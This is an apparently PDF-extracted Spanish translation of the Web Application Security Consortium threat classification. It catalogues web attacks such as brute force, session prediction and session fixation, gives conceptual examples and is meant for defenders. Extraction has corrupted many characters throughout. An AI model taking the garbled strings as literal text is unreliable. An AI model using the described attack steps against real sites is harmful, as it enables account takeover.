Está en la página 1de 93

Web Application Security Consortium:

Clasificacin de Amenazas
www.webappsec.org
Versin: 1.00
Descripcin
La Clasificacin de Amenazas a la seguridad web es un esfuerzo de
cooperacin para aclarar y organizar las amenazas a la seguridad de
un sitio web. Los miembros de Web Application Security Consortium
han creado este proyecto para desarrollar y promover una
terminologa estndar para la industria !ue describa estos aspectos.
"esarrolladores de aplicaciones# profesionales de la seguridad#
fabricantes de software y auditores# tendrn la capacidad de disponer
de un lengua$e consistente para tratar los aspectos relacionados con
la seguridad web.
Objetivos
%dentificar todos los tipos conocidos de ata!ue a la seguridad
de las aplicaciones web.
Acordar la nomenclatura de cada tipo de ata!ue.
"esarrollar una forma estructurada de organizar los tipos de
ata!ue.
"esarrollar documentacin !ue proporcione descripciones
gen&ricas para cada tipo de ata!ue.
A quin va diriido
'ste documento proporciona un entendimiento y comprensin ms
profunda de los riesgos de seguridad !ue amenazan los sitios web.
(e$ora las prcticas de programacin segura para prevenir
1
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
problemas de seguridad durante el desarrollo de aplicaciones. Sirve
como gua para determinar si los sitios web han sido correctamente
dise)ados# desarrollados# y revisados contra todas las amenazas
conocidas. Ayuda a seleccionar las soluciones de seguridad web# y a
entender sus capacidades.
2
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'ndice
D(SC)*+C*,- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& .
O/0(1*2OS &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& .
A 34*5- 2A D*)*6*DO &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& .
'-D*C( &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 7
*-1)OD4CC*,- &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& $
8*S1O)*A &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 9
CO:A/O)ADO)(S &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ;
C8(C<:*S1 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& =
1*+OS D( A1A34( &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& .#
.Autenticacin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.#
"Autorizacin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.9
7Ataques en la parte cliente&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"7
$(jecucin de comandos&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&">
9)evelacin de informacin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$=
;Ataques licos&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&9?
CO-1AC1O &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ;=
A+5-D*C( &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ;?
:*C(-C*A &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& >7
3
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
*ntroduccin
*ara muchas empresas# los sitios web se utilizan como sistemas de
misin crtica !ue deben funcionar sin problemas para procesar
diariamente millones de dlares en transacciones online. Sin
embargo# el valor real de un sitio web necesita ser evaluado caso por
caso en cada empresa. 'l valor tangible e intangible de algo es difcil
de medir +nicamente en cifras econmicas.
Las vulnerabilidades de seguridad web afectan continuamente en el
riesgo de un sitio web. Cuando una vulnerabilidad de seguridad web
se ha identificado# llevar a cabo el ata!ue re!uiere almenos una de
las m+ltiples t&cnicas de ata!ue a las aplicaciones. 'stas t&cnicas
son com+nmente referidas como tipos de ata!ue ,la forma en la !ue
se aprovecha una vulnerabilidad de seguridad-. (uchos de estos
tipos de ata!ue tienen nombres reconocidos como "esbordamiento
de buffer# %nyeccin de cdigo S.L y Cross/site Scripting. Como
base# el tipo de ata!ue es el m&todo !ue la Clasificacin de
Amenazas a la Seguridad Web usar para e0plicar y organizar las
amenazas a un sitio web.
La Clasificacin de Amenazas a la Seguridad Web recopilar y
desglosar los tipos conocidos de ata!ue !ue han presentado una
amenaza a sitios web en el pasado. 1frecer un nombre estndar y
e0plicar# a trav&s de documentacin# los puntos clave de discusin
de cada tipo de ata!ue. Cada tipo tambi&n ser clasificado en una
estructura fle0ible.
La creacin de una Clasificacin de Amenazas a la Seguridad Web
ser de e0cepcional valor para desarrolladores de aplicaciones#
profesionales de la seguridad# fabricantes de software o cual!uier
otro interesado en la seguridad web. (etodologas de revisin de
seguridad independientes# guas de programacin segura# y
re!uerimientos de capacidad en productos2servicios se beneficiarn
de este esfuerzo.
4
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
8istoria
"urante los +ltimos a)os# la industria de la seguridad web ha
adoptado docenas de t&rminos confusos y esot&ricos para describir
la investigacin de vulnerabilidades. 3&rminos como Cross/site
Scripting# (anipulacin de *armetros y 'nvenenamiento de
Coo4ies han dado nombres incoherentes y ambiguos intentando
describir su impacto.
*or e$emplo# cuando un sitio web es vulnerable a Cross/site
Scripting# el problema de seguridad puede resultar en un robo de
coo4ies de usuario. 5na vez !ue la coo4ie ha sido comprometida#
permite !ue alguien pueda llevar a cabo un secuestro de sesin y
tome el control de la sesin del usuario. *ara aprovechar la
vulnerabilidad# un atacante utiliza la manipulacin de los datos de
entrada a trav&s de la alteracin de los parmetros de la 56L.
La descripcin del ata!ue anterior es confusa y puede ser descrita
utilizando todas las formas de la $erga t&cnica. 'ste vocabulario
comple$o e intercambiable causa frustracin y desacuerdos en foros
abiertos# incluso cuando los participantes estn de acuerdo en los
conceptos principales.
"urante a)os# no ha habido una buena documentacin
estandarizada# completa o e0acta !ue describa estas cuestiones.
7aciendo nuestro traba$o# hemos confiado en la e0!uisita
informacin de un buen n+mero de libros# docenas de documentos y
cientos de presentaciones.
Cuando los recien llegados a la seguridad web intentan estudiar#
rpidamente se sienten abrumados y confusos por la ausencia de un
lengua$e estndar. 'sta confusin atrapa el campo de la seguridad
web en una niebla !ue ralentiza su evolucin. 8ecesitamos un
acercamiento formal y estandarizado para discutir los aspectos de la
seguridad web al igual !ue seguimos me$orando la seguridad de la
Web.
5
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Colaboradores
6obert Auger S*% "ynamics
6yan 9arnett Center for %nternet Security
Apache *ro$ect Lead
:uval 9en/%tzha4 %ndividual
'ri4 Caso 83 19;'C3ives
Cesar Cerrudo Application Security %nc.
Sacha <aust S*% "ynamics
;" =laser 83 19;'C3ives
;eremiah =rossman White7at Security
Sverre 7. 7useby %ndividual
Amit >lein Sanctum
(it$a >olse4 Acros Security
Aaron C. 8ewman Application Security %nc.
Steve 1rrin Sanctum
9ill *ennington White7at Security
6ay *ompon Con$ungi 8etwor4s
(i4e Shema 83 19;'C3ives
1ry Segal Sanctum
Caleb Sima S*% "ynamics
6
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
C!ec@list
Autenticacin
?
<uerza 9ruta
Un ataque de fuerza bruta es un proceso automatizado de prueba y error
utilizado para adivinar un nombre de usuario, contrasea, nmero de
tarjeta de crdito o clave criptogrfica.
@
Autenticacin %nsuficiente
a autenticaci!n insuficiente ocurre cuando un sitio web permite a un
atacante acceder a contenido sensible o funcionalidades sin "aberse
autenticado correctamente.
A
"&bil Balidacin en la 6ecuperacin de Contrase)as
a dbil validaci!n en la recuperaci!n de contraseas se produce cuando
un sitio web permite a un atacante obtener, modificar o recuperar, de
forma ilegal, la contrasea de otro usuario.
Autorizacin
C
*rediccin de Credenciales2Sesin
a predicci!n de credenciales#sesi!n es un mtodo de secuestro o
suplantaci!n de un usuario del sitio web.
D
Autorizacin %nsuficiente
a autorizaci!n insuficiente se produce cuando un sitio web permite
acceso a contenido sensible o funcionalidades que deber$an requerir un
incremento de las restricciones en el control de acceso.
E
'0piracin de Sesin %nsuficiente
a e%piraci!n de sesi!n insuficiente se produce cuando un sitio web
permite a un atacante reutilizar credenciales de sesi!n o &'s de sesi!n
antiguos para llevar a cabo la autorizaci!n.
F
<i$acin de Sesin
a fijaci!n de sesi!n es una tcnica de ataque que fuerza al &' de sesi!n
de un usuario a adoptar un valor determinado.
Ataques en la parte cliente
G
Suplantacin de Contenido
a suplantaci!n de contenido es una tcnica de ataque utilizada para
engaar al usuario "acindole creer que cierto contenido que aparece en
un sitio web es leg$timo, cuando en realidad no lo es.
H Cross/site Scripting
(ross)site *cripting +,**- es una tcnica de ataque que fuerza a un sitio
7
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
web a repetir c!digo ejecutable facilitado por el atacante, y que se
cargar en el navegador del usuario.
(jecucin de comandos
?I
"esbordamiento de 9uffer
a e%plotaci!n de un desbordamiento de buffer es un ataque que altera el
flujo de una aplicaci!n sobreescribiendo partes de la memoria.
??
Ata!ues de <ormato de Cadena
os ataques de formato de cadena alteran el flujo de una aplicaci!n
utilizando las capacidades proporcionadas por las librer$as de formato de
cadenas para acceder a otro espacio de memoria.
?@
%nyeccin L"A*
a inyecci!n './ es una tcnica de ataque usada para e%plotar sitios
web que construyen sentencias './ a partir de datos de entrada
suministrados por el usuario.
?A
Comandos de Sistema 1perativo
os comandos de sistema operativo es una tcnica de ataque utilizada
para e%plotar sitios web mediante la ejecuci!n de comandos de sistema
operativo a travs de la manipulaci!n de las entradas a la aplicaci!n.
?C
%nyeccin de cdigo S.L
a inyecci!n de c!digo *0 es una tcnica de ataque usada para
e%plotar sitios web que construyen sentencias *0 a partir de entradas
facilitadas por el usuario.
?D
%nyeccin de cdigo SS%
a inyecci!n de c!digo **& +*erver)side &nclude- es una tcnica de
e%plotaci!n en la parte servidora que permite a un atacante enviar c!digo
a una aplicaci!n web, que posteriormente ser ejecutado localmente por
el servidor web.
?E
%nyeccin J*ath
a inyecci!n ,/at" es una tcnica de ataque utilizada para e%plotar sitios
web que construyen consultas ,pat" con datos de entrada facilitados por
el usuario.
)evelacin de informacin
?F
%nde0acin de "irectorio
a inde%aci!n#listado automtico de directorio es una funci!n del servidor
web que lista todos los fic"eros del directorio solicitado si no se
encuentra presente el fic"ero de inicio "abitual.
?G <uga de %nformacin
a fuga de informaci!n se produce cuando un sitio web revela
informaci!n sensible, como comentarios de los desarrolladores o
mensajes de error, que puede ayudar a un atacante para e%plotar el
8
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
sistema.
?H
*ath 3raversal
a tcnica de ataque /at" 1raversal fuerza el acceso a fic"eros,
directorios y comandos que potencialmente residen fuera del directorio
2document root3 del servidor web.
@I
Localizacin de 6ecursos *redecibles
a localizaci!n de recursos predecibles es una tcnica de ataque usada
para descubrir contenido y funcionalidades ocultas en el sitio web.
Ataques licos
@?
Abuso de <uncionalidad
4l abuso de funcionalidad es una tcnica de ataque que usa las propias
capacidades y funcionalidades de un sitio web para consumir, estafar o
evadir mecanismos de control de acceso.
@@
"enegacin de Servicio
a denegaci!n de servicio +'enial of *ervice, 'o*- es una tcnica de
ataque cuyo objetivo es evitar que un sitio web permita la actividad
"abitual de los usuarios.
@A
Anti/automatizacin %nsuficiente
a anti)automatizaci!n insuficiente se produce cuando un sitio web
permite a un atacante automatizar un proceso que s!lo debe ser llevado
a cabo manualmente.
@C
Balidacin de *roceso %nsuficiente
a validaci!n de proceso insuficiente se produce cuando un sitio web
permite a un atacante evadir o engaar el flujo de control esperado por la
aplicaci!n.
9
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
1ipos de ataque
. Aut ent i caci n
'l captulo KAutenticacinL cubre ata!ues cuyo ob$etivo es el m&todo
utilizado por un sitio web para validar la identidad de un usuario#
servicio o aplicacin. La autenticacin es realizada usando al menos
uno de estos tres mecanismosM Nalgo !ue se tiene N# Nalgo !ue se
conoceN o Kalgo !ue se es N. 'ste apartado tratar los ata!ues
utilizados para enga)ar o e0plotar el proceso de autenticacin de un
sitio web.
.&. Auerza bruta
5n ata!ue de fuerza bruta es un proceso automatizado de prueba y
error utilizado para adivinar el nombre de usuario# contrase)a#
n+mero de tar$eta de cr&dito o clave criptogrfica de una persona.
(uchos sistemas permiten el empleo de contrase)as o claves
criptogrficas d&biles# y los usuarios a menudo escogern
contrase)as fciles de adivinar# posiblemente encontradas en un
diccionario. Considerando este escenario# un atacante puede
comenzar un bucle recorriendo el diccionario t&rmino a t&rmino#
generando miles o potencialmente millones de alternativas
incorrectas buscando la contrase)a vlida. Cuando una contrase)a
adivinada permite al acceso al sistema# el ata!ue de fuerza bruta ha
tenido &0ito y el atacante dispone de acceso a la cuenta.
La misma t&cnica de prueba y error tambi&n es aplicable para
adivinar claves de cifrado. Cuando un sitio web utiliza una clave d&bil
o de corta longitud# es posible para un atacante adivinar una clave
correcta probando todas las posibles combinaciones de claves.

'sencialmente hay dos tipos de ata!ue de fuerza bruta# fuerza bruta
,normal- y fuerza bruta inversa. 5n ata!ue normal de fuerza bruta
10
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
utiliza un +nico nombre de usuario y muchas contrase)as. 5n ata!ue
de fuerza bruta inversa utiliza muchos nombres de usuario y una
+nica contrase)a. 'n sistemas con millones de cuentas de usuario#
las probabilidades de !ue m+ltiples usuarios compartan la misma
contrase)a aumentan radicalmente. (ientras las t&cnicas de fuerza
bruta son sumamente populares y a menudo resultan satisfactorias#
pueden llevar a cabo horas# semanas o a)os en completarse.
(jemplo
5sername O ;on
*asswords O smith# michael/$ordan# 5pet names6# 5birt"days6# 5car
names6# P.
5sernames O ;on# "an# 'd# Sara# 9arbara# P..
*assword O ?@ACDEFG
)eferencias
27rute 8orce .ttac93, &mperva :lossary
"ttp;##www.imperva.com#application<defense<center#glossary#brute<f
orce."tml
2i'efense; 7rute)8orce 4%ploitation of =eb .pplication *ession &'>s3,
7y 'avid 4ndler ? i'484@*4 abs
"ttp;##www.cgisecurity.com#lib#*ession&'s.pdf
.&" Autenticacin insuficiente
La autenticacin insuficiente ocurre cuando un sitio web permite a un
atacante acceder a contenido o funcionalidad sensible sin tener !ue
autenticarse correctamente. Las herramientas de administracin
basadas en web son un buen e$emplo de sitios web !ue
proporcionan acceso a funcionalidades sensibles. "ependiendo de
los recursos especficos online# estas aplicaciones web no deberan
ser directamente accesibles sin re!uerir de la forma apropiada la
verificacin de la identidad del usuario.
11
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'n el mbito de la configuracin de la autenticacin# algunos
recursos son protegidos KocultandoL la ubicacin especfica y no
enlazando su ubicacin en el sitio web principal u otras zonas
p+blicas. Sin embargo# esta actuacin no es ms !ue Kseguridad a
trav&s de oscuridadL. 's importante entender !ue simplemente
por!ue un recurso es desconocido para un atacante# no implica !ue
este recurso no permanezca accesible directamente a trav&s de una
56L especfica. 'sta 56L puede ser descubierta a trav&s de
pruebas de fuerza bruta sobre ubicaciones comunes de ficheros y
directorios ,/admin por e$emplo-# mensa$es de error# logs o !uizs
recursos documentados en ficheros de ayuda. 'stos recursos# ya
sean contenidos o funcionalidades# deben ser adecuadamente
protegidos.
(jemplo
(uchas aplicaciones web han sido dise)adas con funcionalidades
administrativas en una ubicacin fuera del directorio raz ,/admin/-.
'ste directorio generalmente nunca es enlazado desde el sitio web#
pero a+n as puede ser accedido utilizando un navegador web
estndar.
:a !ue el usuario o desarrollador nunca esper !ue alguien pudiera
ver esta pgina# el a)adido de autenticacin es pasado por alto en
muchas ocasiones. Si un atacante simplemente visitara esta pgina#
obtendra acceso completo de administracin al sitio web.
.&7 Dbil validacin en la recuperacin de contraseBas
La d&bil validacin en la recuperacin de contrase)as se produce
cuando un sitio web permite# de forma ilegal# !ue un atacante
obtenga# modifi!ue o recupere la contrase)a de otro usuario. Los
m&todos de autenticacin convencionales de un sitio web re!uieren
!ue los usuarios seleccionen y recuerden una contrase)a o una
frase. 'l usuario debe ser la +nica persona !ue conozca la
contrase)a y debe ser recordada de forma precisa. A medida !ue el
tiempo pasa# los usuarios pierden la capacidad de recordar con
12
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
precisin sus contrase)as. 'l asunto se complica ms a+n cuando el
usuario visita# de media# @I sitios !ue re!uieren suministrar una
contrase)a ,ms informacin en el siguiente enlace de 6SA SurveyM
httpM22news.bbc.co.u42?2hi2technology2AEAHEFH.stm-. As# la
recuperacin de contrase)as se convierte en una parte importante
dentro del servicio online a usuarios.
'$emplos de procesos automticos de recuperacin de contrase)as
incluyen re!uerir al usuario el responder a una Kpregunta secretaL
definida como parte del proceso de registro del usuario. 'sta
pregunta puede ser seleccionada de una lista de preguntas
predefinidas o proporcionada por el usuario. 1tro mecanismo en uso
consiste en re!uerir !ue el usuario proporcione una KindicacinL
durante el proceso de registro !ue le ayude a recordar su
contrase)a. 1tros mecanismos re!uieren !ue el usuario proporcione
distintos datos personales como su n+mero de la seguridad social#
direccin# cdigo postal# etc. para validar su identidad. "espu&s de
!ue el usuario haya demostrado !ue es !ui&n dice ser# el sistema de
recuperacin mostrar o enviar por correo electrnico una nueva
contrase)a.
5n sitio web se considera !ue utiliza una validacin d&bil en la
recuperacin de contrase)as cuando un atacante es capaz de
sobrepasar el mecanismo de recuperacin utilizado. 'sto ocurre
cuando la informacin re!uerida para validar la identidad de los
usuarios durante la recuperacin# es fcilmente predecible o puede
ser falsificada. Los sistemas de recuperacin de contrase)as pueden
ser comprometidos mediante el uso de ata!ues de fuerza bruta#
debilidades inherentes del sistema o preguntas secretas fcilmente
predecibles.
(jemplo
,(&todos d&biles de recuperacin de contrase)as-
13
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Aerificaci!n de informaci!n
(uchos sitios web slo re!uieren al usuario !ue proporcione su
direccin de correo electrnico en combinacin con su direccin
postal y su n+mero de tel&fono. 'sta informacin puede ser
fcilmente obtenida a trav&s de consultas online sobre pginas
amarillas o pginas blancas. Como resultado# la informacin de
verificacin no es muy secreta. (s a+n# la informacin puede ser
comprometida va otros m&todos como Cross/site Scripting y las
estafas de *hising.
&ndicaciones de contraseas
5n sitio web !ue utiliza indicaciones para ayudar a recordar al
usuario su contrase)a puede ser atacado por!ue la indicacin ayuda
a los ata!ues de fuerza bruta. 5n usuario puede tener una buena
contrase)a como K?@@@FF>ingL con su correspondiente indicacin de
KbdayQfav authorL. 5n atacante puede deducir de esta indicacin !ue
la contrase)a del usuario es una combinacin de la fecha de
cumplea)os del usuario y su autor favorito. 'sto ayuda a reducir
considerablemente el tama)o del diccionario de fuerza bruta a utilizar
sobre la contrase)a.
/regunta secreta y respuesta
5na contrase)a de usuario puede ser K6ichmondL con una pregunta
secreta de K"e donde eresL. 5n atacante puede utilizar un ata!ue de
fuerza bruta# limitando la respuesta secreta a nombres de ciudades.
*or otro lado# si el atacante conoce un poco el usuario ob$etivo#
conocer su ciudad natal le resultar tambi&n fcil.
)eferencias
2/rotecting *ecret Beys wit" /ersonal 4ntropy3, 7y (arl 4llison, (.
Call, D. Eilbert, and 7. *c"neier
"ttp;##www.sc"neier.com#paper)personal)entropy."tml
24mergency Bey Decovery wit"out 1"ird /arties3, (arl 4llison
httpM22theworld.com2Rcme2html2rumpHE.html
14
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
" Aut or i zaci n
'l captulo KAutorizacinL cubre los ata!ues !ue tienen como ob$etivo
un m&todo de los sitios web para determinar si un usuario# servicio o
aplicacin tiene los permisos necesarios para e$ecutar una accin
solicitada. *or e$emplo# muchos sitios web slo deberan permitir a
ciertos usuarios acceder a contenidos o funcionalidades especficos.
1tras veces# un acceso de usuario a otros recursos puede estar
restringido. 5sando varias t&cnicas# un atacante puede introducirse
dentro de un sitio web incrementando sus privilegios hacia reas
protegidas.
"&. +rediccin de credencialesCsesin
La prediccin de credenciales2sesin es un m&todo de secuestro o
suplantacin de un usuario de un sitio web. "educiendo o adivinando
el valor +nico !ue identifica a un usuario o sesion particular se logra
el ata!ue. 3ambien conocido como secuestro de sesin# las
consecuencias podran permitir a los atacantes la capacidad de
emitir peticiones al sitio web con los privilegios del usuario
comprometido.
(uchos sitios web estan dise)ados para autenticar e incorporar una
marca de seguimiento a un usuario cuando la comunicacin se
establece por primera vez. *ara hacer esto# los usuarios deben
demostrar su identidad al sitio web# tipicamente facilitando una
combinacin de nombre de usuario2contrase)a ,credenciales-. 'n
vez de estar pasando estas credenciales confidenciales de un lado a
otro en cada transaccin# los sitios web generaran un +nico K%"
,identificador- de sesinL para identificar la sesin del usuario como
autenticado. La comunicacin posterior entre el usuario y el sitio web
es eti!uetada con la %" de sesin como KpruebaL de la sesin
autenticada. Si un atacante es capaz de predecir o adivinar la %" de
sesin de otro usuario# la actividad fraudulenta es posible.
15
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
(jemplo
(uchos sitios web procuran generar los %"s de sesin usando
algoritmos propietarios. 'stas metodologas tradicionales pueden
generar %"s de sesion simplemente incrementando n+meros
estticos. 1 pueden ser procedimientos ms comple$os tales como
factorizar en tiempo y en otras variables computacionales
especficas.
'l %" de sesin es entonces almacenado en una coo4ie# campos
ocultos de formulario o en la 56L. Si un atacante puede determinar
el algoritmo usado para generar el %" de sesin# un ata!ue puede ser
montado de la siguiente maneraM
?- 'l atacante conecta con la aplicacin web obteniendo el actual
%" de sesin.
@- 'l atacante calcula o realiza fuerza bruta sobre el pr0imo %"
de sesin.
A- 'l atacante cambia el valor actual en la coo4ie2campo de
formulario oculto256L y asume la identidad del otro usuario.
)eferencias
2i'efense; 7rute)8orce 4%ploitation of =eb .pplication *ession &'>s3,
7y 'avid 4ndler ? i'484@*4 abs
"ttp;##www.cgisecurity.com#lib#*ession&'s.pdf
27est /ractices in Eanaging C11/)7ased (lient *essions3, :unter
Fllmann ) ,)8orce *ecurity .ssessment *ervices 4E4.
"ttp;##www.itsecurity.com#papers#issG."tm
2. :uide to =eb .ut"entication .lternatives3, Han =olter
"ttp;##www.uni%papa.com#aut"#"omebuilt."tml
16
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
"&" Autorizacin insuficiente
La autorizacin insuficiente se produce cuando un sitio web permite
acceso a contenido sensible o funcionalidades !ue deberan re!uerir
un aumento de restricciones de control de acceso. Cuando un
usuario es autenticado en un sitio web# no necesariamente significa
!ue debiera tener acceso completo a todo el contenido# y tampoco la
funcionalidad debiera ser otorgada arbitrariamente.
Los procedimientos de autorizacin son interpretados despues de la
autenticacin# forzando lo !ue un usuario# servicio o aplicacin esta
permitido a realizar. *rudentes restricciones deberan guiar la
actividad de un sitio web de acuerdo a la poltica. Sonas sensibles
de un sitio web pueden necesitar estar restringidas a todo el mundo
e0cepto para un adminstrador.
(jemplo
'n el pasado muchos sitios web tenan contenido administrativo y2o
funcionalidades almacenadas en directorios ocultos tales como
/admin o /logs. Si un atacante haca una peticin directamente a
esos directorios# tena el acceso permitido. 'l atacante poda
entonces ser capaz de reconfigurar el servidor web# acceder a
informacin sensible o comprometer el sitio web.
)eferencias
27rute 8orce .ttac93, &mperva :lossary
"ttp;##www.imperva.com#application<defense<center#glossary#brute<f
orce."tml
2i'efense; 7rute)8orce 4%ploitation of =eb .pplication *ession &'>s3,
7y 'avid 4ndler ? i'484@*4 abs
"ttp;##www.cgisecurity.com#lib#*ession&'s.pdf
17
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
"&7 (Dpiracin de sesin insuficiente
La e0piracin de sesin insuficiente se produce cuando un sitio web
permite a un atacante reutilizar unas credenciales de sesion antiguas
o %"s de sesin para la autorizacin. La e0piracin de sesin
insuficiente incrementa la e0posicin de los sitios web para !ue los
atacantes roben o se hagan pasar por otros usuarios.
"ado !ue 733* es un protocolo sin estado# los sitios web
com+nmente usan los %"s de sesin para identificar de forma +nica a
un usuario de una peticin de otra. Consecuentemente# cada %" de
sesin debe ser mantenido confidencialmente con el ob$etivo de
prevenir !ue m+ltiples usuarios accedan a la misma cuenta. 5n %" de
sesin robado puede ser usado para ver otras cuentas de usuario o
realizar una transaccin fraudulenta.
La falta de la apropiada e0piracin de sesin puede favorecer la
probable sucesin de ciertos ata!ues. *or e$emplo# un atacante
puede interceptar un %" de sesin# posiblemente mediante un
rastreador de red ,sniffer- o mediante un ata!ue de Cross/site
Scripting. Aun!ue los tiempos cortos de e0piracin de sesin no
ayudan si un identificador robado es usado inmediatamente# los
protegern contra desarrollos de repeticin del %" de sesin. 'n otro
escenario# un usuario puede acceder a un sitio web desde un
ordenador compartido ,tal como en una librera# caf& de internet o en
un entorno de traba$o abierto-. La e0piracin de sesin insuficiente
podra permitir a un atacante usar el botn atrs del navegador para
acceder a pginas accedidas previamente por la vctima.

5n tiempo largo de e0piracin incrementa las probabilidades de un
atacante para tener &0ito en adivinar un %" de sesin vlido. La larga
longitud del tiempo incrementa el n+mero de sesiones concurrentes y
abiertas# las cuales alargan la reserva de n+meros !ue un atacante
puede adivinar.
18
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
(jemplo
'n un entorno informtico distribuido ,ms de una persona tiene
acceso fsico sin restricciones a un ordenador-# la e0piracin de
sesin insuficiente puede ser e0plotada para ver la actividad web de
otro usuario. Si una funcin de salida de login de un sitio web enva
meramente a la vctima a la pgina principal del sitio sin terminar la
sesin# otro usuario podra ir a trav&s del histrico de las pginas del
navegador y ver las pginas accedidas por la vctima. "ado !ue el %"
de sesin de la vctima no ha e0pirado# el atacante podra ser capaz
de ver la sesin de la vctima sin tener !ue facilitar la informacin de
las credenciales de autenticacin.
)eferencias
2'os and 'on>ts of (lient .ut"entication on t"e =eb3, Bevin 8u, 4mil
*it, Bendra *mit", @ic9 8eamster ) E&1 aboratory for (omputer
*cience
"ttp;##coo9ies.lcs.mit.edu#pubs#webaut";tr.pdf
"&$ Aijacin de sesin
La fi$acin de sesin es una t&cnica de ata!ue !ue fuerza un %" de
sesin de usuario a un valor e0plcito. "ependiendo de la
funcionalidad del sitio web ob$etivo# un n+mero de t&cnicas pueden
ser utilizadas para Kfi$arL el valor del %" de sesin. 'ste rango de
t&cnicas pasa desde los e0ploits de Cross/site Scripting hasta
acribillar al sitio web con peticiones 733* construidas previamente.
"espu&s de !ue un %" de sesin de usuario ha sido fi$ado# el
atacante esperar para hacer login. Cuando el usuario lo hace# el
atacante usa el valor del %" de sesin predefinido para asumir su
identidad online.
=eneralmente hablando hay dos tipos de sistemas de administracin
de sesin en lo !ue a valores de %" se refiere. 'l primer tipo son los
sistemas KpermisivosL !ue permiten a los navegadores web
19
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
especificar cual!uier %". 'l segundo tipo son sistemas KestrictosL !ue
slo aceptan valores generados en la parte del servidor. Con
sistemas permisivos# las sesiones de %"s arbitrarios son mantenidos
sin contactar con el sitio web. Los sistemas estrictos re!uieren !ue el
atacante mantenga la Ksesin trampaL con contactos peridicos al
sitio web previniendo los e0cesos de tiempo por inactividad.
Sin proteccin activa contra la fi$acin de sesin# el ata!ue puede ser
montado contra cual!uier sitio web usando sesiones para identificar
a los usuarios autenticados. Los sitios web !ue usan %"s de sesin
normalmente estn basados en coo4ies# pero las 56Ls y los campos
ocultos de formulario tambi&n se usan.
"esafortunadamente las sesiones basadas en coo4ies son las ms
fciles de atacar. La mayora de los m&todos de ata!ue actualmente
identificados tienen como ob$etivo la fi$acin de coo4ies.
'n contraste con el robo de un %" de sesin de usuario despu&s de
!ue el usuario se haya autenticado en un sitio web# la fi$acin de
sesin proporciona mucha ms variedad de posibilidades. La parte
activa del ata!ue tiene lugar antes de !ue el usuario se autenti!ue.
